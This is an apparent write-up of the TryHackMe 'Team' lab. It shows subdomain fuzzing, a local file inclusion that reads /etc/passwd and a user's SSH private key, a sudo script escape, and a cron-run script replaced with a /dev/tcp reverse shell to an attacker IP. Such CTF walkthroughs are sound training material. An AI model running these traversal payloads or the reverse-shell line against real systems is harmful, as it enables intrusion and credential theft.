> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/tryhackme/linux/team.md).

# Team

## Nmap

```
sudo nmap 10.10.93.15 -p- -sS -sV  

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

{% hint style="info" %}
Before starting add team.thm into /etc/hosts.
{% endhint %}

For FTP on port 21 anonymous login is not allowed.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-47be182537ed51b79d02ad81a0fdc41951ecc938%2Fimage.png?alt=media)

Moving onto port 80 the root page reveals the following:

![http://team.thm/](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-857ac31f03fd9a951d71a5bdebba5ecb97f4d0eb%2Fimage.png?alt=media)

After further enumeration we are unable to identify anything too interesting. /Robots.txt contains the entry 'dale' which I tried against Hydra for SSH and FTP with no luck.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-f30a16cbcc5e5674aee58462be5b71f79b3b6b42%2Fimage.png?alt=media)

Fuzzing for subdomains with wfuzz revelas the 'dev' sub domain.

```
wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://team.thm" -H "Host: FUZZ.team.thm" -t 42 --hl 373  
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-dd6e91c5d94f28455911e8daba95240f59cde2ad%2Fimage.png?alt=media)

This was added to the hosts files in /etc/hosts:

```
10.10.93.15 team.thm
10.10.93.15 dev.team.thm
```

Browsing to the subdomain reveals the following:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-ad9ae2f0b72b1815f76f4b46fcfde2a21448a7df%2Fimage.png?alt=media)

Progressing with the placeholder link takes us to the following URL:<http://dev.team.thm/script.php?page=teamshare.php>.

Testing for LFI proves successfulon /etc/passwd. I used wfuzz to further enumerate LFI.

```
wfuzz -c -w /usr/share/seclists/Fuzzing/LFI.txt --hw 0 http://dev.team.thm/script.php?page=/../../../../../FUZZ 
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-1308f8c066fef050b77808db4655234d829dbe87%2Fimage.png?alt=media)

Checking the following below reveals a SSH key for the user Dale.

{% embed url="<http://dev.team.thm/script.php?page=/../../../../../etc/ssh/sshd_config>" %}

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-251bf3339d3d6a807fc093a6e0564ffb33991263%2Fimage.png?alt=media)

Copy the key to the attacking machine and use `chmod` to set the correct permissions.

```
chmod 600 id_rsa
```

{% hint style="info" %}
Ensure a space is present underneath the line '-----END OPENSSH PRIVATE KEY-----' otherwise the key will be marked as invalid when connecting to SSH.
{% endhint %}

Checking `sudo -l` we are able to run `/home/gyles/admin_checks` as the user gyles without a password.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-cbad7a5feb147a69d5b75f3e9ea6f430675c4c56%2Fimage.png?alt=media)

Reading the file with `cat` shows that the script will prompt us for input for the name of ther person backing up the data and the date.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-8fc3b6e5588e29868110ba487c59e0e2d8a0da75%2Fimage.png?alt=media)

When running the script I was able to escape it by entering '`/bin/bash`'. As per below we now have shell as gyles.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-fb071dfe8e00634b48368bfde24003febe9ba17c%2Fimage.png?alt=media)

Upgrade our shell to something nice to use:

```
/usr/bin/script -qc /bin/bash /dev/null
```

From here with some manual enumeraiton we find a file called script.sh in the /opt/ directory.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-ccbd5e6e87566945d057cb09ff365f97a74fc62e%2Fimage.png?alt=media)

As per the comments in the script this has been set to run by cron every minute. I was able to delete the file which means we can replace it with a reverse shell.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-ccbd5e6e87566945d057cb09ff365f97a74fc62e%2Fimage.png?alt=media)

The following commands was then run to echo in a reverse shell.

```
gyles@TEAM: echo '#!/bin/bash' > script.sh
gyles@TEAM: echo 'sh -i >& /dev/tcp/10.14.3.108/80 0>&1' >> script.sh
gyles@TEAM: chmod +x script.sh
```

I then started a `netcat` listener on my attacking machine and soon enough gained a shell as root.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-697891a68765bb9719faa2e0cf9057d4540a7120%2Fimage.png?alt=media)